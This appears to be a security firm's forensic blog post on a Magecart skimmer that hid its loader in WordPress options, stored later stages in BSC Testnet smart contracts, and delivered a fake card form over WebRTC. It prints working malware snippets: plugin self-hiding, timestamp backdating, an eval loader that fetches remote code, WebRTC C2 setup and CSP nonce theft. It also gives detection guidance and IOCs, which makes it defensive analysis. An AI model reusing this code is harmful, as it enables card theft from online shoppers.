Skip to main content
Back to Blog
Threat Intelligence

The ghost skimmer: Magecart with blockchain storage and WebRTC delivery

August 20, 2026 · 14 min read · by Team DEFION Security

Article content

Team DEFION Security analyzed a Magecart skimmer whose malicious code never touched the server of the compromised online store. It lived in immutable smart contracts on a public blockchain and was delivered to the victim's browser through an encrypted WebRTC channel, controlled by a remote C2. The result: invisible to malware scanners, FIM, WAFs, and domain/IP takedowns.

During a recent forensic investigation into the compromise of an online store (WordPress + WooCommerce), we analyzed a web skimmer that breaks nearly every assumption on which classic Magecart defenses are built. The code that stole customers' card data was never, not for a single instant, present on the store's server. It lived in immutable smart contracts on a public blockchain and was delivered to the victim's browser through an encrypted WebRTC channel, served by a remote C2.

The result is a skimmer invisible to malware scanners, file integrity monitoring (FIM), WAFs, HTTP traffic inspection, and even analysis of server response sizes. And as a bonus for the attacker: part of the infrastructure is, in practice, impossible to take down.

This article breaks down the skimmer's four-layer architecture, explains why every design decision is aimed at evading a specific control, and shows what it does leave behind, and how to hunt for it. All sensitive data in this case has been anonymized; the attacker infrastructure indicators are published for their threat intelligence value.

The problem with Magecart "as we know it"

A web skimmer (or Magecart attack) is malicious JavaScript injected into an online store that captures what a shopper types, typically card data, to later exfiltrate it to an attacker-controlled server. The "classic" variant injects this JavaScript in one of these ways:

  • a <script> tag in the checkout HTML,
  • a tag in a tag manager (Google Tag Manager and similar),
  • a .js file hosted on the same server or on a third-party domain.

All of these share one property that defenders exploit: at some point, the malicious code is observable. It sits in the HTML served, in the site's public JS, in a file on disk, or in an outbound HTTP request to a domain that can be blocked. File Integrity Monitoring (FIM), server-side malware scanners, traffic-inspecting WAFs, Content Security Policy (CSP) directives, and domain/IP takedowns all rely on this observability.

The skimmer we analyzed is designed, layer by layer, so that none of these assumptions hold. It belongs to a family that the industry has documented since 2023 under the name Web3 skimmers with WebRTC delivery.

Overview: four layers of indirection

Layer Component Where it lives
1XOR loader (407 bytes)WordPress database (wp_options)
2Smart contract #1BSC Testnet (0xAeF2...84F8)
3Smart contract #2BSC Testnet (0xeED9...c999)
4Fraudulent formC2 server, via WebRTC (103.141.13.26:3479/UDP)

The underlying idea: the store's server only hosts a minimal, incomprehensible fragment (the encrypted 407-byte loader). Everything else is fetched at runtime from external infrastructure, and the final layer, the one the victim actually sees, does not even travel over an inspectable channel.

Before diving into the layers, it is worth looking at how the attacker got onto the server and how the loader was planted, because that part did leave observable activity (after the fact).

Layer 0: the access vector and the nulled-plugin supply chain

The most likely access vector was not an actively exploited vulnerability, but an illegal ("nulled") copy of a commercial plugin. The site had two successive tampered versions of a well-known WordPress page builder coexisting:

  • A first cracked version, downloaded from an illegal plugin repository (wordpressnull.org), present on the server roughly a year before the skimmer's active deployment. It called third-party servers to "validate" the license, typical behavior of tampered distributions that often comes bundled with a backdoor.
  • A second tampered version, this one with an /* Ultrapack Unlock */ block that intercepted license validation and redirected it to a third-party activation server (activations.ultrapackv2.com).

The business model is well known: the illegal plugin distributor bundles in a backdoor, maintains latent access to the site for months, and at some point monetizes that access by selling or transferring it to a skimming campaign operator. The roughly one-year gap between installing the cracked copy and activating the skimmer matches this "dormant access, later monetization" pattern exactly.

This matters because a nulled plugin is not "the same plugin, but free." It is a supply channel controlled by a hostile third party. And reinstalling from the same source during incident response does not clean up, it reinfects.

The deployment: 15 minutes of automation on the server

Reconstructing the timestamps in the database (Unix timestamps in wp_usermeta and in the skimmer's own options) shows that the active-phase deployment was concentrated into a 15-minute window:

10:54  uninstall.php of a plugin -> PHP backdoor activated via cookie (wjxq_)
11:01  uninstall.php of another plugin -> second backdoor (wjxq_)
11:07  creation of two rogue users (one admin, later demoted)
11:09  installation of the fake installer plugin + writing of the XOR loader to the database

Four independent actions within fifteen minutes is not a manual installation from a browser, it is server-side automation. The attacker already had code execution (via the illegal plugin's backdoor or a prior webshell). An interesting detail about the backdoors: they were injected into the uninstall.php files of several plugins, code that only runs when the corresponding plugin is uninstalled, minimizing the chance of detection during a manual review, and were activated with a specific cookie (wjxq_).

Layer 1: the 407-byte loader nobody sees

The installer is a fake WordPress plugin with a header that looks legitimate (with a telltale typo in the author's name). It implements four concurrent malicious functions, all aimed at evasion.

1) Self-concealment in the admin panel. Using standard WordPress filters, the plugin removes itself from the list of installed plugins and available updates. It is invisible in the panel even though it is active:

add_filter('all_plugins', function($plugins) use ($base) {
  if (isset($plugins[$base])) unset($plugins[$base]);
  return $plugins;
}, 0);
add_filter('site_transient_update_plugins', function($value) use ($base) {
  if (isset($value->response[$base])) unset($value->response[$base]);
  return $value;
}, 0);

2) Timestamp backdating. Upon activation, the plugin ran touch() on all its files with a date three months before the real one, to evade any search for "recently modified files":

register_activation_hook(__FILE__, 'trust_patch');
function trust_patch() {
  $tdata = strtotime('-3 months');  // rolls back 3 months
  trust_dir(plugin_dir_path(__FILE__), $tdata);
}

In the backup, the files appeared to date from December 2025; their real ctime was late March 2026. As a result, the first sweep for obfuscated patterns (eval(base64_decode(...)), gzinflate, etc.) and recent files found nothing: there was no classic obfuscation, and the dates did not give away the activity.

3) Hiding a rogue user. Through the pre_user_query filter, the plugin hid a specific user (whose ID was stored in another database option) from all user lists and the REST API.

4) Dynamic skimmer injection. The core. Only on the frontend (!is_admin()) and only if the ia (is active) flag is set to 1, the plugin fetches an encrypted blob from the database, decrypts it with XOR, and injects it as an inline script through the legitimate WordPress API:

function woo_inc() {
  if (!is_admin()) {
    $mc_b = get_option('p_set', ['ia' => 0]);
    if ($mc_b && !empty($mc_b['ia']) && isset($mc_b['ce'], $mc_b['dk'], $mc_b['de'])) {
      $script = xor_decrypt($mc_b['ce'], $mc_b['dk']);   // XOR, key in 'dk'
      wp_register_script('front_inc', '', explode(',', $mc_b['de']), $mc_b['lu'], true);
      wp_enqueue_script('front_inc');
      wp_add_inline_script('front_inc', $script);        // injected on ALL pages
    }
  }
}
add_action('wp_enqueue_scripts', 'woo_inc', 1);

The encrypted loader was stored in a wp_options option as a serialized PHP array, with a compact structure:

Field Meaning Value
cecipher encrypted (XOR payload)407 bytes
dkXOR keyc77d5cd5
deJS dependenciesjquery
iais active1
lulast updated (Unix)deployment timestamp

Why 407 bytes matters. The 407-byte injection via wp_add_inline_script() stays within the normal variance of a checkout page's dynamic content (around 2,400 bytes). The classic trick of detecting skimmers via HTML growth simply does not work here.

Once decrypted, the layer 1 loader is this JavaScript (407 bytes):

fetch("https://bsc-testnet-rpc.publicnode.com", {
 method: "POST",
 headers: {"Content-Type": "application/json"},
 body: '{"jsonrpc":"2.0","id":1,"method":"eth_call","params":[{' +
     '"to":"0xAeF2ed8B69eFb5C1B9e75990A5F90D02Eb5f84F8",' +
     '"data":"0xe2179b8e"},"latest"]}'
}).then(r => r.json()).then(j => {
 let h = j.result, l = parseInt(h.slice(66, 130), 16) * 2;
 eval(h.slice(130, 130 + l).replace(/../g, c => String.fromCharCode(parseInt(c, 16))))
})

In short: an eth_call to a smart contract, decode the hex result as ASCII, and eval(). The next layer does not live on the server.

Layers 2 and 3: the blockchain as takedown-resistant storage

eth_call is a method of Ethereum's JSON-RPC API (and compatible networks such as Binance Smart Chain) that reads a smart contract function without generating a transaction or cost. The loader uses this against two contracts deployed on BSC Testnet (Binance Smart Chain's test network, chain ID 97).

Using the testnet is no accident, it is a cost decision: testnet contracts are free, public, and immutable, exactly like on mainnet, without spending real cryptocurrency. The attacker gets permanent, censorship-resistant storage at zero cost.

Contract #1 returns (Ethereum ABI-encoded for dynamic types) the layer 2 loader, which adds resilience through a list of up to 8 public RPC nodes with failover and the address of contract #2:

const N = [ "https://bsc-testnet-rpc.publicnode.com",
       "https://data-seed-prebsc-1-s1.bnbchain.org:8545", /* +6 more nodes */ ];
const A = ["0xeED9e134CE64BF74bE001A942Ee3e3Cb5C12c999"]; // contract #2
// ... iterates A across N until one responds ...
let d = (await Promise.all(A.map(R))).join("");
let c;
if (d.startsWith("GZIP:")) {              // compressed payload
 const b = atob(d.slice(5)), u = new Uint8Array(b.length);
 for (let i=0;i<b.length;i++) u[i]=b.charCodeAt(i);
 c = await new Response(new Blob([u]).stream()
     .pipeThrough(new DecompressionStream("gzip"))).text();
}
if (c) (new Function(c))();               // executes layer 4

Contract #2 returns ~1.4 KB with a GZIP: prefix and base64; decompressed, this is ~2 KB of JavaScript, the code that establishes the WebRTC channel. Two refinements are already visible here:

  • Failover across 8 RPC nodes: if one public node stops serving, the skimmer keeps working. There is no single point to disable.
  • GZIP compression on the blockchain: to reduce storage cost and make grepping the contract's contents harder.

Why this is a headache for defense. A domain or an IP can be blocked and reported. A contract on a public blockchain cannot be modified or removed by anyone, not even its own author or a judicial authority. The skimmer's "storage" layer is, in practice, indestructible. The only room for action is on the RPC nodes (which are legitimate, shared infrastructure) or on the server-side loader.

Layer 4: WebRTC delivery, where the skimmer turns invisible

This is the truly clever part. The final payload (the fraudulent form the victim sees) is not downloaded over HTTP. It arrives through a direct WebRTC channel to the C2.

The code is obfuscated to avoid detectable strings: the C2's IP is reconstructed arithmetically, and API names are split into fragments:

var rd=103, Ba3=141, UP=13, Mr=26;
var BVs = [rd, Ba3, UP, Mr].join('.');     // -> "103.141.13.26"
var uyP = 3479;                 // C2's UDP port
var fPn = 'RTC'+'Peer'+'Connec'+'tion';    // -> "RTCPeerConnection" (avoids grep)
var qU9 = new window[fPn];
var CkX = qU9['create'+'Data'+'Channel'](location.href);

The trick to avoid needing a signaling server or STUN: the code manually crafts an SDP answer that points directly to the C2 as an ICE candidate, forcing a DTLS/SCTP channel over UDP to 103.141.13.26:3479:

qU9['setRemote'+'Description']({
 type: 'answer',
 sdp: 'v=0\r\n...' +
    'm=application ' + uyP + ' UDP/DTLS/SCTP webrtc-datachannel\r\n' +
    'c=IN IP4 ' + BVs + '\r\n' +
    'a=candidate:1 1 UDP 771594009 ' + BVs + ' ' + uyP + ' typ host\r\n'
});

The C2 sends the fraudulent form in fragments over the data channel; once the channel closes, the skimmer reassembles the fragments and executes them. Before executing, it tries to steal a CSP nonce from a legitimate <script> on the page to bypass the Content Security Policy:

for (e5=0; e5<Vp.length; e5++)
  if (Vp[e5].nonce) {          // copies the nonce from a legitimate script
    mf.nonce = Vp[e5].nonce;
    mf.textContent = a3;       // reassembled payload
    document.head.appendChild(mf); // executes with a valid CSP
    mf.remove();
    return;
  }

The final payload is a pop-up "Billing Information" form with a "Card payment" section that asks for the cardholder's name and card number. It contains a telltale error: the field is labeled "Cart number" instead of "Card number," a fingerprint that identifies the payload's author. When the victim fills in the form, the data is exfiltrated to the C2 over the same encrypted channel.

Why every classic defense control fails

Defense control Why it fails
CSP (script-src, connect-src)WebRTC is not covered by these directives; the skimmer also steals a valid nonce
WAF / HTTP inspection proxyThe payload travels over UDP (DTLS/SCTP), not HTTP. There is no request to inspect
Server-side malware scanner / FIMThe final payload never touches the store's server
Response size analysisThe injection is 407 bytes, well within normal checkout variance
Domain/IP takedownLayers 2-3 live on an immutable blockchain, with failover across 8 RPC nodes
Network analysisEncrypted DTLS channel, no plaintext URLs, C2 IP reconstructed arithmetically
String search (grep)API names split ('RTC'+'Peer'+...), GZIP payload inside the contract

Not a targeted attack: an industrial-scale campaign

The detail that best puts this incident in context: contract #2's bytecode is identical to that of 61 other contracts on the same network, all deployed from the same deployer address. This is not an artisanal attack against a single victim, it is infrastructure for a campaign at scale, where each contract can serve the same WebRTC loader for a different compromised online store.

What DOES leave a trace: detection and hunting

The skimmer is invisible in the browser and in traffic, but its installation and persistence on the server are observable. If you operate or defend WordPress/WooCommerce online stores, here is what to hunt for:

In the database / WordPress:

  • Hidden plugins: compare the active_plugins list in the database against what the admin panel shows. A plugin active in the database but not visible in the panel is a direct red flag.
  • Suspicious wp_options entries: serialized arrays with fields like ce/dk/de/ia, or generic, opaque names (p_set, c_set). A binary blob in a WordPress option is not normal.
  • Ghost users: gaps in the auto-increment sequence of wp_users, or orphaned metadata in wp_usermeta with no matching row in wp_users (users created and then deleted).
  • Backdoors in "silent" files: code in plugins' uninstall.php files, or unusual cookie checks (for example, an activation cookie such as wjxq_).

Client-side / runtime monitoring (RUM):

  • Creation of an RTCPeerConnection on a checkout page that has no legitimate reason to use WebRTC. This is probably the most reliable signal: instrument the browser to alert when WebRTC appears where it should not.
  • Fetch/XHR calls to blockchain RPC nodes (*.bnbchain.org, publicnode.com, etc.) from an e-commerce page. There is no legitimate reason for a checkout to talk to a BSC RPC node.
  • Remember that SRI and CSP are not enough: SRI does not cover inline-injected scripts, and CSP does not restrict WebRTC. Effective protection depends on monitoring client-side runtime behavior.

On the network:

  • Outbound UDP traffic to atypical ports following a WebRTC pattern but without a legitimate STUN/TURN server, originating from checkout sessions.

Indicators of compromise (IOCs)

The client has been anonymized; these indicators belong to the attacker's infrastructure and are published for their threat intelligence value. They can be independently and reproducibly verified (the contracts, on any BSC Testnet RPC node).

Attacker infrastructure

  • C2 / WebRTC server: 103.141.13.26:3479 (UDP)
  • Domains: systmshield.com, init.systmshield.com
  • Smart contract #1 (BSC Testnet): 0xAeF2ed8B69eFb5C1B9e75990A5F90D02Eb5f84F8
  • Smart contract #2 (BSC Testnet): 0xeED9e134CE64BF74bE001A942Ee3e3Cb5C12c999
  • Contract #2's bytecode identical to 61 other contracts from the same deployer (campaign at scale)

On the compromised server

  • wp_options['p_set'] / ['c_set'] (with ia=1): the skimmer's XOR loader (frontend/admin)
  • XOR key of the loader: c77d5cd5
  • Activation cookie for the PHP backdoors: wjxq_
  • Plugin hidden via the all_plugins filter: the skimmer's installer
  • Backdoors in plugins' uninstall.php: PHP persistence
  • "Cart number" (typo): fingerprint of the fraudulent payload's author
  • Likely source of initial compromise: nulled copies of a WordPress page builder via wordpressnull.org and activations.ultrapackv2.com

Editorial note: this article is based on original forensic research by Team DEFION Security. All data belonging to the affected client has been anonymized.

Suspect a skimmer or similar compromise in your online store?

Our Incident Response team conducts forensic investigations, identifies indicators of compromise, and helps with remediation and recovery.

Contact us